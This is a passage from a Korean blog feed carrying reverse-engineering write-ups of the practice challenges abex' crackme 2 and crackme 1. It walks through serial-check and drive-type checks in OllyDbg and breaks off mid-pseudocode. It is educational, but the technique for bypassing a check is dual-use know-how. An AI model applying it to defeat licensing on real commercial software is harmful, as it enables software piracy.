/&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9926784C5C63D7DC2F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9926784C5C63D7DC2F&quot; width=&quot;820&quot; height=&quot;215&quot; filename=&quot;28.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 233px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/994C15495C64B32925&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F994C15495C64B32925&quot; width=&quot;233&quot; height=&quot;36&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이렇게 루프를 네바퀴 돌아주면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;암호문은 완성이 되어 &lt;b&gt;EBP-9C&lt;/b&gt;에 저장된 상태가 됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이제 완성된 암호와 사용자가 입력한 암호가&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;동일한지 확인하기 위해&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;시리얼 텍스트 박스에서 문자열을 가져와줍니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;만약 텍스트 박스에서 문자열을 가져오는 중에&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;오류가 발생하면 0이 아닌 값을 리턴하는데&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그러면&amp;nbsp;&lt;b&gt;4032D5&lt;/b&gt;에서 점프하지 못해&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;4032E3&lt;/b&gt;의 &lt;b&gt;vbaHresultCheckObj&lt;/b&gt; 함수를&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;호출하게&amp;nbsp;됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이전 name 텍스트 박스에서 문자열을&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;가져왔을 때에도 동일하게&amp;nbsp;존재했던 부분이죠.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 743px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990F5C4A5C63D7DC06&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990F5C4A5C63D7DC06&quot; width=&quot;743&quot; height=&quot;154&quot; filename=&quot;29.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;&lt;p&gt;vbaVarTstEq(arg1, arg2) : arg1와 arg2가 같으면 FFFFFF, 그렇지 않으면 0을 리턴합니다.&lt;/p&gt;&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;403329&lt;/b&gt;에서 &lt;b&gt;vbaVarTstEq&lt;/b&gt;를 통해&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;생성된 시리얼과 입력한 시리얼이 일치하는지&amp;nbsp;점검합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;만약 일치하지 않으면 &lt;b&gt;403332&lt;/b&gt;에서 점프하여&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;오류 메시지를 출력하고 종료하게 됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 731px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B45E4A5C63D7DE2B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B45E4A5C63D7DE2B&quot; width=&quot;731&quot; height=&quot;46&quot; filename=&quot;32.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 255px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B88C4A5C63D7DF0A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B88C4A5C63D7DF0A&quot; width=&quot;255&quot; height=&quot;74&quot; filename=&quot;34.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;비교문을&amp;nbsp;보면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;연속된 &lt;b&gt;EBP-44&lt;/b&gt;&amp;nbsp;와 &lt;b&gt;EBP-34&lt;/b&gt; 변수의 값을&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;인자로 받고 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 입력한 name의 첫 4글자를 사용하여&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;시리얼을 생성하는 성질에 의해&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;같은 name에는 항상 같은 시리얼 값이 나오므로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;디버깅을 통해 생성되는 값을 확인하면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;쉽게 문제를 해결할 수도 있겠습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;물론&amp;nbsp;반복문을 상세히&amp;nbsp;분석하여&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;암호문을 생성하는 알고리즘을 파악했다면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그렇지 않고 직접 계산해내는 것도 좋습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 775px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9931844A5C63D7DD05&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9931844A5C63D7DD05&quot; width=&quot;775&quot; height=&quot;315&quot; filename=&quot;30.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;시리얼이 일치하지 않을시 점프하는 부분입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;메시지에 들어갈 문자열 변수들을 인자로 하여&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;rtcMsgBox&lt;/b&gt;를 통해 메시지를 표시합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 776px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990E544A5C63D7DD34&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990E544A5C63D7DD34&quot; width=&quot;776&quot; height=&quot;244&quot; filename=&quot;31.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;만약에 시리얼이 일치한다면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;점프하지 않고 바로 아래로 내려가&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;성공 메시지를 출력하고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaVarTstNe&lt;/b&gt;를 통해&amp;nbsp;다시한번 시리얼을 검사하여&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;만약 일치하면&amp;nbsp;&lt;b&gt;4034F1&lt;/b&gt;&amp;nbsp;주소로 점프하는데&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;자원을&amp;nbsp;정리하고 함수를 바로 종료하게 됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block;   height: auto; max-width: 100%;&quot;&gt;&lt;a href=&quot;https://t1.daumcdn.net/cfile/tistory/9968014E5C64BFA630&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/zip.gif&quot; style=&quot;vertical-align: middle;&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;crackme2.zip&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;a class=&quot;txc-file&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;주석을 작성해 파일로 첨부하였으니&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;분석에 참고하시면 좋겠습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이상으로 &lt;b&gt;abex' crackme 2&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;분석 포스팅이였습니다.&lt;/p&gt;</description>
      <category>Reversing</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/78</guid>
      <comments>https://posix.tistory.com/78#entry78comment</comments>
      <pubDate>Wed, 13 Feb 2019 18:46:41 +0900</pubDate>
    </item>
    <item>
      <title>abex' crackme 1 분석</title>
      <link>https://posix.tistory.com/77</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 757px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995FCB3B5C614C1D10&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995FCB3B5C614C1D10&quot; width=&quot;757&quot; height=&quot;272&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;가장 유명한&amp;nbsp;Crackme&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;abex' crackme&lt;/b&gt; 포스팅입니다.&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block;   height: auto; max-width: 100%;&quot;&gt;&lt;a href=&quot;https://t1.daumcdn.net/cfile/tistory/99077B3D5C64F0A608&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/exe.gif&quot; style=&quot;vertical-align: middle;&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;abexcm1.exe&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;원 출처는 &lt;a href=&quot;http://crackmes.de/users/abex/&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;이곳&lt;/a&gt;이나&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;정상적으로 작동하지 않으니&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;바이너리가 없으신 분들은&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;첨부한 파일을 사용하시면 되겠습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 315px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A86B455C614E721F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A86B455C614E721F&quot; width=&quot;315&quot; height=&quot;187&quot; filename=&quot;4.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;프로그램을 실행하면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;먼저 위와 같은 메시지를 확인하실 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;HD를 CD-ROM으로 생각하게끔 하라고 하네요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;여기서 HD는 HDD를 의미합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 293px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99CBD0455C614E7235&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99CBD0455C614E7235&quot; width=&quot;293&quot; height=&quot;193&quot; filename=&quot;5.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;창을 종료하면, 두번째 메시지가 나타납니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;HD가 CD-ROM으로 인식되지 못했다는 의미인데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;프로그램이 HD를 어떻게 CD-ROM으로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;판단하는지 기준을 찾아&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;문제를 해결하면 되겠습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 757px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995FCB3B5C614C1D10&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995FCB3B5C614C1D10&quot; width=&quot;757&quot; height=&quot;272&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;ollydbg로 바이너리를 열어 확인하면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;아주 짧은&amp;nbsp;어셈블리 소스를 확인할 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;상용 컴파일러 특유의&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;stub code&lt;/b&gt;가 존재하지 않는 것으로 보아&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;처음부터 어셈블리어로 작성했다는 것을&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;알&amp;nbsp;수 있는데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;덕분에&amp;nbsp;8KB의 작은 용량을 가집니다&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 757px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995FCB3B5C614C1D10&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995FCB3B5C614C1D10&quot; width=&quot;757&quot; height=&quot;272&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;MessageBoxA&lt;/b&gt; 함수를 호출하기 전에&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;PUSH&lt;/b&gt; 명령어를 호출하고 있는데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;PUSH 명령어에 사용된 값은&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;호출되는 함수의 인자값으로 사용됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;더하여, &lt;b&gt;0x401024&lt;/b&gt; 에서 &lt;b&gt;CMP&lt;/b&gt; 명령어로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;EAX&lt;/b&gt;와 &lt;b&gt;ESI&lt;/b&gt; 레지스터의 값이 동일한지 검증한 후&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;JE&lt;/b&gt; 명령어를 통해&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;0x40103D&lt;/b&gt; 주소로 이동하는 것을 확인할 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;만약 동일하지 못하다면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;실패 메시지를 출력한 후&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;0x40103B&lt;/b&gt; 에서 &lt;b&gt;JMP&lt;/b&gt; 명령어를 통해&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;즉시 프로그램을 종료합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 419px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996447445C6156CE2C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996447445C6156CE2C&quot; width=&quot;419&quot; height=&quot;143&quot; filename=&quot;7.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그럼 &lt;b&gt;EAX&lt;/b&gt;와 &lt;b&gt;ESI&lt;/b&gt; 레지스터의 값은 어디서 오는 것일까요?&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;답은 &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-getdrivetypea&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;GetDriveTypeA&lt;/a&gt; 함수에 있는데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;WINAPI&lt;/b&gt; 의 함수는 EAX 레지스터에 리턴값을 저장합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 EAX 의 값은 바로 직전에 실행되었던&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;GetDriveTypeA 함수의 리턴값이 되는 것입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 724px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995EBD3B5C614C1D10&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995EBD3B5C614C1D10&quot; width=&quot;724&quot; height=&quot;529&quot; filename=&quot;2.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;GetDriveTypeA 함수의 리턴값입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;text-align: center;&quot;&gt;일반적인 하드디스크라면 &lt;b&gt;DRIVE_FIXED(3)&lt;/b&gt;이 되며&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;CD-ROM이라면 &lt;b&gt;DRIVE_CDROM(5)&lt;/b&gt;을 돌려주겠군요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;ESI 값은 프로그램 실행시에&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;0으로 초기화 된 상태 그대로입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;MessageBoxA(NULL, &quot;Make me think your HD is a CD-Rom.&quot;, &quot;abex' first crackme&quot;, MB_OK|MB_APPLMODAL)
$EAX = GetDriveTypeA('C:\\')

$ESI++
$EAX--
$ESI++
$ESI++
$EAX--

if ($EAX == $ESI) {
	MessageBoxA(NULL, &quot;Nah... This is not a CD-ROM Drive!&quot;, &quot;Error&quot;, MB_OK|MB_APPLMODAL)
} else {
